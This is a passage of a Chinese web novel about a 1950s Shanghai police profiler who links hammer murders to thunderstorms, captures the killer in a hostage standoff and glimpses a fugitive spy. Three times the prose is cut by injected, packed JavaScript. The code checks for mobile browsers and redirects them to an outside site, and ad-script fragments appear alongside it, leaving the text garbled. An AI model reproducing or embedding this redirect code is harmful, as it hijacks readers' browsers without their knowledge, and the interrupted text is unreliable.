实验检测和痕迹调查，确定了，凶器就是这种羊角锤，他们找过很多类似的锤子，得出来的结论都有些不同，只有这种羊角锤才会那么吻合，他们也经过了力量实验，发现后期凶手使用的力度使用的力度确实类似，几乎相同。 齐云松带着人去了电厂，仔细询问了才知道，这种型号的羊角锤，当年只发了三次，之后再发的羊角锤，就比这个大了，但是她也不知道到底有多少，当年电厂是沪市的大厂子，特别富裕，所有才会有这些工具发放。 但是只有一部分作为奖励给了个人，其它的还是属于工厂的物资，只不过在四八年混乱的时候工厂里很多工人将工具拿回家了所以无法确定谁拥有这样的羊角锤。 他们的目标也不能单放在电厂，其它工厂也会有这样的工具。 为了寻找凶手他们将能收上来的相同凶器登记后进行血液检查，现在还没有鲁米诺发光检测，但是沪市这边有紫外线灯，用这个也可以检查出血迹痕迹。 这也是一个很繁琐的过程，沪市这边检验人员少，顾昭蕙也去帮忙直到晚上八点多才从实验室出来，齐云松从外面回来，听说她还没吃饭，把她拉出来一起吃。 沪市这边算是富裕，食堂的食物也是不错，单位也是觉着他们这段时间辛苦了，所以食堂一直开火，也不做别的，就是沪上小馄饨管饱。现成的谁去给谁煮。 顾昭蕙坐在靠窗的边上吃着馄饨，这边实在是热，闷呼呼的，有些不舒服。不过可能是到了晚上，窗户边上有微风吹来，带来一丝凉爽。再吃上纯肉的小混沌，浑身舒畅。 “哎难得凉快一点。”齐云松喝了一口汤，脑门冒了些汗，被小风一吹，凉快很多，他忍不住感叹了一下。 他这话刚说完，发现食堂里本来有七八个同志吃馄饨，这会都站起来，竟然快步往外走，他觉着奇怪，拉着一个同志问，“你们这是干什么去？” “又要下雨了，我们出去巡逻。”那人手上抱着碗，说完了将最后两个馄饨吃到嘴里，将饭盒随手一放，就跑了出去。 齐云松和顾昭蕙听了都是一惊，看向窗外，天黑看不见是否阴天，就是天不黑也是无法判断的，毕竟这两日沪上都是阴沉沉的。 突然远处天空亮了一下，接着一个大雷就打了下来。然后就下起了雨。 齐云松将碗里最后一点汤喝到嘴里，就要往外走，“我也跟他们出去巡逻，你留下吧。”说完就要往外走，路过顾昭蕙的时候胳膊突然被抓住了。 低下头发现顾昭蕙眼睛特别亮的看着齐云松“你刚才听见了吗？” “什么？” 顾昭蕙突然有点兴奋“雷声，刚才下雨之前先是闪电和打雷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579423|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 齐云松点点头“这不是很正常嘛！” 顾昭蕙点点头“对下雨天打雷闪电很正常，但是昨天雨下的不小，但是没有雷电。你说凶手行凶会不会跟这个有关系。”这话音刚落，外面又是一个大雷响起。 “之前我们在火车上讨论过凶手杀人动机，随机杀人，受害者身上没有丢失任何东西，不是图财，杀了人就走，没有年龄性别的趋向。所以有没有一种可能凶手有应激障碍。” 顾昭蕙说着有点兴奋，似乎找到了一条线，这几天她一直觉着有什么事情被忽略了。 她拉着齐云松往办公室走去“凶手在雨夜行凶，受害者选择可以看出他没有针对性，没有偏向性，他的应激反应不是因为过去某些人不是童年伤害，那么我们是不是可以确定一下这人杀人原因是一种病态的应激反应。” “你是说他因为某些病痛，所以才会杀人？”齐云松觉着有点不敢相信。 “也许是心理上的。”顾昭蕙跑上楼。 此时办公室里还有三个人，这段日子所有人都加班，遇到雨天全都出去巡逻。不光是市局，就连各个厂子里的保卫科都出动了。这个案子已经让全沪市人警惕起来。 “林姐。”顾昭蕙找到办公室里惟一的女性，林婉芳，她是办公室里的文员，她今年二十六，怀孕五个月，本来她是不用加班的，但是这个案子太紧要，她主动跟办公室里的另一位女同志轮班，在办公室里处理一些事情。 “小顾什么事情？”林婉芳一直看着窗外的大雨，心情有些沉重。 “林姐，这些案子发生的时候，是否在雷雨天，当天是否有雷电出现？”顾昭蕙问道。 林婉芳愣了一下，“这个没有统计，这样我给气象站打电话确定一下。”对于顾昭蕙的问题，她不会有任何怠慢，从昨天这姑娘过来，就发现，调查组已经不是无头苍蝇似的乱转了，至少有了调查目标。 她迅速拿出电话，给气象局打了过去，然后跟那边详细的将信息进行了确认。 挂了电话，她严肃的看着顾昭蕙说道“气象站那边已经确认受害人死亡的那天，都是雷雨天。都有强烈的雷电。而之前下雨天没有受害者的日子，都是没有雷电的大雨。” 这下子确定了，顾昭蕙和齐云松对视了一眼。两人都带着一些兴奋。 “该怎么查？”齐云松说道。 “查找凶手还要往后放一下，今天是雷暴天，凶手一定会出来。所以要加强巡逻。而且不能落单，如今这个案子已经传扬出去了，市民出门的不会多，那么凶手找不到合适目标的时候或许会对咱们同事动手。他已经积累足够多的经验，而且自信心很足。后两位受害者都是成年男性，说明他已经有足够的勇气了。” 齐云松点头直接去副局长办公室，案子不结，这位局长是不会回家的。 顾昭蕙将案件再次从脑海中梳理。然后给罪犯做了个侧写。 她走到黑板那边对着沪市地图将每一位受害者受害地点进行了标记，“林姐再帮我给气象局打个电话，问问他们这些案子发生的时候，降雨情况，局部位置。”这么大的城市，下雨也不是全都下的，很多时候雨随风走，尤其雷暴雨，来的快去得快。 98. 第98章 第九十八章 顾昭蕙根据气象局那边的信息，将各个地方的降雨时间，雷雨情况，还有受害人受害的地点进行了对比分析，最后她在地图上画了一个圈。 “这是什么？”身后突然出现一个声音。 顾昭蕙回头看去，是黄余斌，他此时脸上也带着疲惫神色，但是眼睛看着黑板，双眼发亮。 “我按照降雨时间，受害者受害地点，等一些数据，进行分析，这个范围应该是凶手的住处。”顾昭蕙说道，她一边说一边一边看着黑板思考，将几个受害者受害地点进行连接，然后就得到了一个IE更小的范围，“这里最有可能。” 她看了一下自己那个小圈，然后又画了一个范围“今天晚上他在这个区域出现可能性很大。”这个范围是今天晚上的雷雨区。 黄余斌听了几步就走出去，然后找人下达命令，虽然不懂，但是看那一条条分析，总觉着听着没有错。 命令很快一条条下达，因为这个案子全局都在加班，有一些内勤人员也都留下来，所以听到命令，许多人冒着大雨到各处去送信。 “哎，还是让他跑了。”杨智勇有些沮丧的说道。 “虽然跑了，但是咱们的排查也算是有了线索，但是这人胆子太大了，竟然对咱们的人动手。”陈生辉弹了弹烟灰说道。 “咱们下一步怎么办？”杨智勇将桌子上的烟拿过来，然后抬头看向顾昭蕙。 顾昭蕙一直看着黑板，昨天的排查起了作用，大约十一点钟的时候，一个穿着雨衣的男人，对着巡逻队员进行了袭击，赶巧昨天排查人员增多，两两一对，这位队员落单也是因为他队友去了厕所，那位从厕所出来的时候发现了袭击者，叫了一嗓子，那位被袭击的同志下意识躲了一下，结果肩膀被敲了，打了他一个趔趄，那人趁机跑了。 袭击位置就是昨天顾昭蕙画的那个圈中，她拿着粉笔在黑板上写了几个字，打雷，闪电，击脑，想了想又写了一个字病。 齐云松立在一边，低着头看着黑板，看了一会凑过去在顾昭蕙耳边说“凶手的诱因应该是打雷，会不会被雷劈过？” 顾昭蕙歪头看了他一眼，“嗯。” “查一查各大医院。在前几个月因为雷电住院的人，他敲击别人的头部或许自己的大脑也受过伤。雷电是诱因，或许精神上也有些问题。凶器方面还要查找，听今天那位凶手穿着的是那种长款雨衣，说明凶手至少是个工人。”现在工人是很好的工作了。 “也可能在四九年前，就是某个单位的职员。” “这个调查一定要快，这次袭击没有成功，或许会刺激到他，而且咱们的巡逻员增加，也可能让他将袭击范围扩大。甚至暴力升级。”顾昭蕙说道。“而且这次没有袭击成功或许会让他心理上的问题更严重。” “从今年雨季开始并没有被雷劈的病人。”杨智勇觉着自己都头疼了。 顾昭蕙皱着眉头思考，突然眼睛一亮“有没有被电击的？” “电击的？”杨智勇疑惑的问。 “对电击与雷电相似。或许正是在下雨天。” “查到了。在市医院有一个病例，叫李庆杰，是电业局的工作人员，在四月份的时候因为下雨他工作的那片区域停电，他去维修，当时因为是雨天，维修的时候发生了漏电，当时他被同事送到医院，治疗之后一个星期就出院了，但是在他病历上还有几次就诊记录。”陈生辉将病历递给顾昭蕙。 “看到闪电眩晕，听到雷电头疼？”顾昭蕙说道“是病人自述？医生没有确诊？” “没有，我问过主治医生，他说当时电击并不严重，只有手部有烧伤，一个星期后就出院了，实际上一个星期也是因为他一直说自己脑袋疼，才让他住院，但是他们能查的都查了，并没有查出他脑袋有什么问题。” “直接控制起来。”顾昭蕙果断的说，这个案子与别的案子不同，凶手毫无顾忌，只要雷雨天就会动手，沪市现在不说天天下雨也差不多。所以宁抓错不放过。 “控制起来后，确定他的不在场证明，尤其是第一起案件，看看当时他是否在户外？他之所以做出这么多的案子或许就是因为他觉得通过这种方式，能缓解他的病情。” 杨智勇直接点了人，带着人就去抓人。 齐云松与他们走了个对头碰，“我去查了这个李庆杰，他今年四十岁，在十年前就是电业公司的，四九年后他就进入电业局工作，他妻子在三年前去世了。你肯定想不到他妻子的死因是什么？” 顾昭蕙想了想“被雷劈了？” 齐云松忍不住笑了“好吧，我错了，你一下子就猜准了。她三年前梅雨季的时候下夜班被雷劈了，她当时没有马上死亡，送医院后还活了一阵子，她一直说着自己头疼。” “这就是诱因了，李庆杰目睹妻子的死亡，自己又在雷雨天被电，他当时可能以为自己也是被雷劈了，头疼或许是精神上的。或许在他妻子刚去时的时候就觉着头疼。也许看到妻子的死状，他产生了惧怕，打雷闪电都让他惧怕。” 齐云松想了想说“那天他回家路上，遇到雷雨，雷电让他心里恐惧，当恐惧达到临界点，他突然暴起，然后拿起羊角锤，对前面的人进行了袭击。这成了他的发泄口。” 顾昭蕙点点头“希望杨队能找到证据。”因为他和齐云松不属于沪市市局，所以他们俩在办案的时候都是收着的。 在办公室等着结果，两人都有点无聊。看着窗外，有一颗大梧桐树，树阴正好在窗户外面，绿油油的。 突然嘀嗒嘀嗒，慢慢的落下雨来“下雨了。”话音刚落天边突然亮了然后就是轰隆隆的雷声。 顾昭蕙不知道怎么的心里有点不安。 “李庆杰跑了。”黄余斌，突然从外面跑进来，“杨智勇那边来电话了，李庆杰单位人说早上他请了病假，家里也没有人。他的几个亲戚家里都去了人，暂时没有发现人。”黄余斌刚才得到信息，说是确定嫌疑人，本来还高兴呢，案子总算是能破了，谁想转眼就发现人不见了。 顾昭蕙站了起来，“走，去李庆杰家里。昨天李庆杰没有得逞，他今天的精神状态肯定不好，也许这会正在外面寻找目标。” 齐云松跟在后边，拿了沪市专门给他们准备的雨衣“等等换个雨鞋。”叫住顾昭蕙。 顾昭蕙停下来，换了雨鞋，穿上雨衣，张燕山这会也拿了雨衣跟在顾昭蕙身后走出办公室。 三个人下了楼，市局给他们准备了两辆自行车，虽然雨天不适合骑车，但是总比走去快。 “他或许改变作案方式。”顾昭蕙上了自行车后跟齐云松说了一下。 外面雨更大了，雷声也很紧，说实话她还是第一次遇见这样的连续降雨，虽然穿着雨衣但是里边衣服也潮乎乎的，十分不舒服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581699|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个人两辆车，半个小时来到李庆杰家附近，进入昨天画出的包围圈，他们就看到有一些穿着长雨衣的人员，在路边巡逻。 来到李庆杰的家，那是一条老式弄堂，在第三家石库门，进了院子，不大楼上楼下住了七户人家，李庆杰家在东边楼下三间。属于院子里比较好的地段，这房子是去年单位分给他的。 此时院子已经被封锁了。院子里的人也都站在门口，没有让进屋。 顾昭蕙进了屋子，发现屋子里边站了七八个公安，正在翻找着什么，她看到屋子里的情况，眉头忍不住皱了皱，太乱了。这些人简直就是乱搞。 “顾组长你们过来了。”杨智勇跟他们打了个招呼，“我们过来李庆杰已经离开了。我们找了一下没有找到凶器。”杨智勇有点沮丧，人没抓到，也没有找到证据。 顾昭蕙看了看屋子，“杨队长，屋子里人太多了，要不让同志先出去给院里邻居做个笔录。”他们将嫌疑人确定为李庆杰，主要是按照罪犯心理分析，然后确定的人，但是他们没有证据，所以现在找到人和找到证据一样重要。 杨智勇对顾昭蕙也挺服的，所以听了她的话，就让人出去了。 等人离开了，顾昭蕙带着齐云松进了屋子，地面已经被踩得乱七八糟了，所以也没有必要带鞋套了。她将身上雨衣脱下来，交给张燕山，一旁齐云松也同样的动作，两人确定身上没有水了才进屋。进了屋子顾昭蕙先简单将屋子里的摆设看了看，虽然有些东西被移动了，但是能看出来，李庆杰是个爱干净的人，听说他只有一个女儿，前年嫁人了，听说嫁到杭城，很少回来，所以屋子里都是自己收拾的。 叹口气，顾昭蕙环顾四周，发现门口墙上挂了一个雨衣。她走过去，将雨衣小心的拿下来，是一个用了许多年的雨衣，袖子那里都有点磨损了。她仔细看看发现磨损部位有一点黑色。 齐云松递上一根棉签，接过来，小心的将那个黑色污渍提取一下，棉签擦过，似乎有些暗红。将棉签放在证物袋里，顾昭蕙翻看了一下雨衣的衣兜，衣兜是带翻盖的，防止雨水进入，但还会有一点进入。她用棉签擦拭，擦出一些暗红色微小结块。 “应该是血迹。”再次怀念DNA。 齐云松接过雨衣放在一个大证物袋里，“他没有穿雨衣，那么出门是为什么？” 顾昭蕙想了想问一下杨智勇，“这边下雨是什么时候开始的？” “我们过来之后才下的。”杨智勇说道。 她四处寻找一下这屋子应该有的东西，但是没有找到，然后就看雨衣旁边不远的地方发现还有几个挂衣服的钉子，其中最外面那个钉子下边有带子的痕迹。 “他带着他的工具走的。” 齐云松想了想“他出去了。带着工具，因为梅雨时节，电路经常短路断电，所以有可能有人过来找他接电线。这人直接上门寻找，肯定是附近的邻居。” 杨智勇突然走进来，“杨智勇家旁边住的阿婆说，之前好像有个人来找他，之后不知道两人说什么，就一起离开了。” “知道是谁吗？”齐云松问。 杨智勇摇了摇头“阿婆耳朵不好使，就说好像是个女人。” “不会太远。”顾昭蕙说道。 “他可能已经看到我们过来抓他了，所以他手上可能有人质。”齐云松看向杨智勇。 杨智勇脸都白了。 99. 第99章 第九十九章 “快，搜。”杨智勇脸色铁青的指挥着。 这个案子影响极其不好，甚至已经影响到市民的生活，这个案子受到上面的关注，他们为了更快的破获案件，请了外边的人，眼看案子已经破获了，就在抓捕的时候出现了这么大的疏漏。 顾昭蕙也跟着一起寻找排查，很快有了结果，就像顾昭蕙分析的那样，李庆杰之前被邻居叫走，帮着接一下电线，就在他出去不久，杨智勇带着人跑了过来，当时他们只想到抓住人，来的人不少，一下弄出大动静。让李庆杰发现了。 “李庆杰，你跑不了了。不要负隅顽抗。”杨智勇站在院子前面，对着二楼的李庆杰进行喊话。 “啊——”突然二楼传来一个女人的尖叫声。 “他手上有人质，现在他很不冷静，不要着急，如果激怒他，人质就有危险了。” 顾昭蕙皱着眉头，忍不住抬头看了一眼天空，刚才开始雨大了起来，刚才听到一声雷声。虽然不是很近声音也不大，她怕一会雷电一会增强，会让李庆杰更受刺激。 事实上此时的李庆杰从刚才已经开始不冷静了。他捂着自己的脑袋，听到女人的叫声，忍不住拿着羊角锤，对着女人的肩膀敲了一下，“闭嘴。”如果不是还需要人质，他都想敲碎女人的脑袋。 齐云松从对面二楼观察了一下李庆杰的情况，然后下楼，“我看看能不能上去。” 他走到隔壁的房子，这边都是石库门，楼和楼之间是相连着，齐云松从隔壁的房子爬到屋顶，然后小心的走到李庆杰所在屋子的屋顶。同时张燕山也从另一边走过去，两个人都十分小心。 两个人来到那个窗户上面。 顾昭蕙站在对面的二楼，拿着望远镜看着屋子里的情况，然后对着对面的齐云松打了手势，手上动作比较特别，这是之前跟齐云松没事研究的一种手势，从手语简化而来。 齐云松看到之后，做了个手势，然后跟张燕山耳语一下，然后两人小心地从旁边的房檐翻了下去，脚踩着墙上的一处凸起，回头看了顾昭蕙给他最后的手势。他对张燕山示意。 用手比划一下三二一，整个人踹了窗户就闯了进去。那边张燕山也是如此。 两个人突然出现让李庆杰惊了一下，然后就拿着羊角锤挥舞着，不过这种凶器到底不适合行凶，趁他挥舞的时候，齐云松一脚踢了出去，咔嚓一声，骨骼断裂的声音响起，张燕山此时已经将人质拉倒一边。两个人扑了上去，将李庆杰给按倒在地。 顾昭蕙放下望远镜，还好，没有什么意外，实际上比起抓捕，寻找凶手最难。 压着李庆杰来到外面，突然一个雷声从头顶炸起，李庆杰突然叫了起来，然后双手就想捂着脑袋，不过被两个同志抓着，他根本无法抬手，他口中突然传来叫声，“啊啊——杀了我。” 李庆杰被带到医院，进行了检查，不过这年代的检查机器并不能检查出什么，最后结论是他这病应该是由心里因素影响的。 第二天雨停了之后他就好了很多，不过看起来有些神经质，接下去几天都是雷雨天，在看守所中每次雷电出现，他都会很痛苦，只有一段时间会冷静，之后就会捂着脑袋喊痛，吃了止痛药也不好使，几天后甚至有自残倾向。最后不得不将他捆绑在床上。 对于问话，他很老实的交代了，也是希望能快点结束自己的生命。 对于李庆杰这个案例，齐云松很感兴趣，所以这几天一直在跟着案子。 顾昭蕙将案件分析报告写完之后，就没有事情了，京城没有案子，因为齐云松想要对李庆杰的情况进行分析，他们就准备在这边留几天。 忙活两天，顾昭蕙和齐云松去了一趟蒋文静的家，蒋小琴是蒋永兴的大姐，当年跟着丈夫一起到沪市工作，结果一来就没调回去。 “松子，哎，你就是小蕙吧。”敲开房门，一个大着肚子的女人打开门看见他们俩，一下子就认出了齐云松，然后看到顾昭蕙眼睛都亮了，“之间妈打了电话，说你们要过来，听说你们过来是为了工作，我就没去找你们。快进屋。” 顾昭蕙也是第一次见到蒋小琴，她长得跟蒋永兴很像，不过更秀气些，此时脸上带着笑容，十分热情，手拉着顾昭蕙一直没有松开。 蒋小琴的房子是当初他们来沪市的时候分配的房子，两室一厅，是当年的老房子，布局还不错，难得的还有专门的卫生间和厨房，看起来他们生活的还不错。 “来喝点麦乳精。”蒋小琴将两杯泡好的麦乳精端给他们，“你们工作结束了？”她坐在顾昭蕙的旁边，拿了个苹果，用小刀削着。 “嗯，已经结束了。”顾昭蕙点点头。 “那这几天就住在家里，我带你们逛逛沪市，本来说过年回去的，结果这也走不了。”蒋小琴将苹果递给顾昭蕙，摸了摸肚子说道。 顾昭蕙看了一眼“大姐怀孕七个月了吧？” 蒋小琴点点头“嗯，七个半月了。”她笑了笑，“我这也是头一回，你姐夫家里父母在西南，他们也过不来，我还想说等生产的时候让妈过来帮我一下。不过妈的工作也不知道能不能请假。” 顾昭蕙摇了摇头“妈早就跟单位说好了。等姐你九个月的时候她就过来。” 三个人说了会话，蒋小琴就去厨房做饭，眼看到晚上了，顾昭蕙跟着一起去厨房帮忙，蒋小琴是个性格很好的人，尽管是第一次见，相互之间也没有太多的生疏，说话间，蒋小琴没有说蒋永兴，也是不想提起伤心事。 晚饭的时候见到了姐夫，彭勇辉，他看起来像是个文人，之前听田静兰说过，彭勇辉还是个大学生，当年为了报国参军，四六年的时候来沪市做地下工作，四九年后调到京城，工作三年，也是那时候认识了蒋小琴，然后因为沪市这边工作需要，调了过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾昭蕙没管他什么想法，做好一个就看下一个，这个更简单一点，根据脚印，确定身份后，这人的情况很特别属于个子高脚小的那种，之前他们调查的时候，也想通过脚印来确认凶手，但是他们的脚印专家，根据脚印模拟的嫌犯身高是一米七三以下，结果这个凶手实际身高一米八。 根据顾昭蕙的分析结果，嫌疑人一下就找到了，就是他们之前排查过的一个人，不过他也找到当初的脚印对比，顾昭蕙看了一眼那个脚印对比，“他穿了大两号的鞋子。” 杨智勇迅速的领着人就去了抓人了。很快人抓回来了，嫌疑人没想到这么长时间自己还会被抓，整个人都是懵的，尤其经过了脚印对比，确定了嫌疑人身份，嫌疑人终于交代了罪行。这个嫌疑人，当初就是嫌疑对象，做脚印调查的时候他特意穿了大两号的鞋子，那时候市局也没有让他们拖鞋查看，所以他逃过了调查。也因为这个案子，后来再做鞋印检查一定要做一个裸脚检测。 这下子市局都轰动了，谁想到还能这么破案，就看看资料就把案子破了。 杨智勇也跟打了鸡血似的，将顾昭蕙前面分析的两个案子，一个脚印痕迹有关系的案子，一个血液分析的案子，根据新给出来的结论，进行调查。 100. 第 100 章 第一百章 顾昭蕙看卷宗很快，这年代人很多案子不是那么难破，但是现在技术还没有那么强，所以可能顾昭蕙看着简单的事情，在他们这边就很难，算是年代局限吧。 一个上午弄了四个案子，都是有确切的证据，只要按照条件去寻找嫌疑人，应该能很快破案。不过杨智勇那边就是痛并快乐着，眼看积案能破了，但是工作强度增强了。 所以他下午直接让单位的高羽绮带着她出去溜达溜达，去商场购物，沪市这边商业还是很发达的，全国最好的产品他们这里都有，还有许多外国货，他还特批了一些票据给三个人算是案子结束的奖励。 顾昭蕙其实不太喜欢出去逛街，实在是这边天气有点闷热，随时都有小雨。不过她也看出来刑侦这边的工作已经做不过来了，事情也不急，干脆就跟着出去溜达一下吧。 齐云松听说了，拿了相机跟着一起，李庆杰那边已经审讯结束了，他精神确实有些问题，昨天后半夜下雨，他在看守所里晕了过去。早上就送到医院了，齐云松上午将审讯记录整理了一下，下午正好有时间。 高羽绮是个沪市本地人，对于沪市很熟悉，她先带顾昭蕙和齐云松去外滩溜达一圈，这边当年是租借，全都是国外的建筑，看起来很特别，这年代街道上车辆很少，这边现在很多都是国营企业的大楼，环境很好，很干净。 记忆中顾湘在这边玩过，很多建筑都没有，但是依然美丽，他们在这里照了很多照片，顾昭蕙想着等二三十年后再来，应该有两个时代的感觉。 从外滩回去，高羽绮带他们去了百货商店，这边确实很多好东西，逛了一圈后买了些毛线床单被罩枕套，都是花色漂亮质量好的，尤其毛线粗的细的各种颜色，她现在特别会织衣服。另外还扯了些烫绒布，这个冬天做外套，很好，京城也不好买到。 她现在对物质需求不高，这年代本身就物质匮乏，人们生活都是艰苦朴素的，一年一套新衣服就已经很好了。而她从来没有缺过钱票，生活上已经超过大多数人了。 或许唯一的需求就是吃吧，顾湘是吃过很多好东西的，她是个爱吃的姑娘，每到周末都会跟朋友出去寻找好吃的食物。顾昭蕙家里父母是爱孩子的，所以她没有挨过饿，但是一天吃一个窝头的日子也是有的。 两者结合，造成她现在的摸样，喜欢美食，但不惧怕吃苦。 虽然这个年代不如后世便捷，也没有那么多的高科技，但是顾昭蕙还是很喜欢这里，这里人与人之间的关系更亲近，生活很简单。 晚上他们一起去了这边的国营饭店，吃了沪市的美食。 晚上往招待所往回走，高羽绮这边离家近，就没跟他们一路回去。难得的今天没有雨，空气清新还带有一丝微风，十分舒适。 “要是接下来每天都是这样的天气就好了。”齐云松双手插兜心情十分好的说道。 “恐怕不容易，我记得沪市这边一直到七月底，都是梅雨天，也就这边的人习惯了。我都有些不习惯，感觉每天都很潮。”顾昭蕙说着摸了摸额头的汗珠。 齐云松看向顾昭蕙许是这几天在这边天气湿润，她的皮肤更加白嫩了些，实在不像是北方女孩，倒是与这边江南水乡十分相配。 “准备在这边待几天吗？”齐云松问。 顾昭蕙点点头“想要看看卷宗，这边积案很多，难得他们让咱们看卷宗。” 齐云松笑了笑，发现顾昭蕙其实很简单，简单纯粹，喜欢破案，所以就留下来，京城那边的也没有什么积案了“你知道咱们局长给沪市打电话了吗？” 顾昭蕙扭过头又往上抬了抬“打电话做什么？局里有案子？” 齐云松摇头“他怕沪市这边把你扣住不让回去。” 顾昭蕙摇了摇头“不会的。”虽然沪市看起来比较发达，但是她还是喜欢京城，家人都在那边。 齐云松也不再说了，简单也没什么不好。俩人漫步在沪市街头，周围是忙忙碌碌下班的人，他们两个就像是城市里的过客。与周围隔出一个世界。 两个人快到市局招待所，齐云松在街口商店买了两瓶汽水，还是冰镇的，不能带走，两个人就站在商店门口喝着，街对面就是市局，此时是下班的时间，很多人骑着自行车上下班，这年代他们的福利还是不错的，加上他们工作性质，买自行车的人特别多，更何况听说去年市局破获了自行车厂的盗窃案，自行车厂特意拿了计划外的一批自行车作为福利卖给市局，很多同志没用票就买到了自行车。 不过这么多下班的人中，应该不包括刑侦大队的，今天他们还是要加班。齐云松忍不住笑了一下，他想到可能未来一段时间刑侦大队都不能正常上下班了。 顾昭蕙已经将汽水喝了一半多了，这会拿着瓶子看着那些下班的同志，眼睛有点放空，大脑自动的转动，将这些人的面貌都记录下来，并不特意，但是记录已经成了本能。 突然的顾昭蕙眼睛突然动了，下意识的就看向顺着东街往前走的一个人。 手上的汽水瓶都没有拿住，一下子掉落，啪——的一声，瓶子碎裂。 “怎么了？”齐云松拉着顾昭蕙往旁边一点，免得玻璃碴子扎到脚，他诧异的看向她看的那个方向，除了下班的人没有什么特别的。 顾昭蕙脑海中刚才那个身影不停的闪动，影像反复的回放，样貌，不同年级看起来也不同，甚至身形都有变化，但是这个身影跟脑海中另外一个重合起来。 她扭过头看向齐云松“我好想看到赵庆远了。” 商店的小老板念念叨叨的说着沪上话，但是两个人已经无暇顾及他了，齐云松将手上的瓶子交给小老板，然后押金也不要了，拉着顾昭蕙就往马路对面走去。 “你确定吗？”他现在对顾昭蕙的信任已经跟信任自己一样，但是他还是忍不住问了一句，因为这个有点太不可思议了，那个人好不容易逃离了京城，竟然这么快的进入沪市，还进入了沪市市局，他们的队伍不会那么容易进吧。 顾昭蕙点点头“样貌有变化，看起来年轻很多，体重也有变化，但是经过对比，我觉着就是他。我不会认错。”他再怎么变化形态也是没有变的。 齐云松点点头，“现在问题很大，他怎么进入的市局，是从外地调过来的，还是顶替了某人？过来的目的是什么？身边是不是还有上下级？是不是有人给他打掩护？” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“查档案！”顾昭蕙觉着档案里一定能看出什么。 两人走过马路，离市局只有十几米远，齐云松拉住顾昭蕙，“等等，咱们先回去，我得给京市三处那边打个电话，这边先等等，咱们过来这几天，市局都是清楚的，但是他还正常上下班，就说明他很自信自己没有暴露。所以咱们别动，万一还有别的敌人呢。” 两个人回头再次过马路。回到招待所，张燕山去他战友家里还没有回来，招待所这边电话不能打，齐云松也不敢离开，那人如果是赵庆远，他肯定知道顾昭蕙到这里来了，不怕一万就怕万一，难保他不会起杀心。 实际上齐云松的心已经提起来了，这些人心狠手辣，赵庆远之前就栽在顾昭蕙手上，他报复的心思很大。 七点多中，张燕山回来，齐云松跟他交代了一下，然后离开招待所，一路上小心翼翼，进行了几次反跟踪动作。好在结果还好，对方没有跟踪。 第二天一早三个人正常去市局上班，但是心境是完全不同了，他们没有做什么特别的事情，顾昭蕙继续看卷宗，不过这一天，张燕山和齐云松两个人都跟在顾昭蕙身边，没有离开。 昨天四个案子，有三个已经抓到了嫌疑人，所以今天顾昭蕙的待遇又提高了，桌子上放了一个大果盘，里面放着许多水果。水灵灵的。 运输有限这边的水果比京城多许多，顾昭蕙还真是喜欢，尤其那大大的水蜜桃，忍不住就吃了一个，不过水果不白吃，第一个卷宗就看出一些线索，直接锁定嫌疑人，时间还不到吃一个桃子的时间。 九点半左右，办公室来了一个四十岁左右的男人，杨智勇亲自带过来的，听说是黄埔分局的，刑侦大队长，叫王海勇，他们分局有一个案子，已经发生一个星期，也没有线索，想请他们过去看看。 翻开卷宗一看“失踪案？”说实话顾昭蕙之前还没碰到过这样的案子。 “嗯，怎么说呢，我们分局法医看过现场，现场有许多血迹，按照失血量，足够致死了。”王海勇说道。 顾昭蕙看了一下现勘报告，确实一个人流了那么多血，估计活不了了“现场还在吧？”得到肯定答复，“咱们去看看。”照片照的模糊，还是亲自去一趟现场才好。 市局这边也忙不过来，杨智勇也不拦着他们离开，看着他们走出去，还松了口气。 王海勇竟然是开车过来的，等三个人上了车，开出市局，王海勇才扭头对齐云松说道“三处那边已经将案子具体情况说了，这事情已经跟市局领导通过气了，他们也会派人配合你们。一会市局的人就会将档案送到我们分局。” “好的，这边你得派几个可靠的人。”齐云松早就知道王海勇的信息。昨天跟京市那边沟通后，早上就得到了消息，说是由王海勇这边配合他们办案，王海勇以前也是做地下工作的，抓特务也是很熟悉的。 “那这个案子呢？”顾昭蕙将手上的卷宗敲了敲。 “这个案子也得破，这个失踪的是杨振庭的女儿，杨振庭是原来爱华纺织厂的老板，这两年正跟国家进行公私合营改革，这个节骨眼发生了这样的案子实在是影响不好，所以我们必须快点将人找到，不管是活的还是死的。” 101. 第 101 章 第一百零一章 他们先去了杨振庭家，虽然过去一个星期，但是现场还那么摆放着，杨振庭的女儿杨媛媛，是他的小女儿，也是杨振庭最喜欢的女儿。 她的失踪让杨振庭很是伤心，听说人都住院了。 案发地点是一栋小洋楼，房子不大上下两层，花园不小，落错有致的种着一些植物，看起来郁郁葱葱，虽然不大，但是看起来十分精致，室内装修精致漂亮，是杨媛媛十八岁生日礼物，屋子里每一处都是为她设计的。看起来特别洋气。 几人从正门进入，顾昭蕙走了进去，发现这个房子就是放到几十年后，装修的也算是特别好的了。 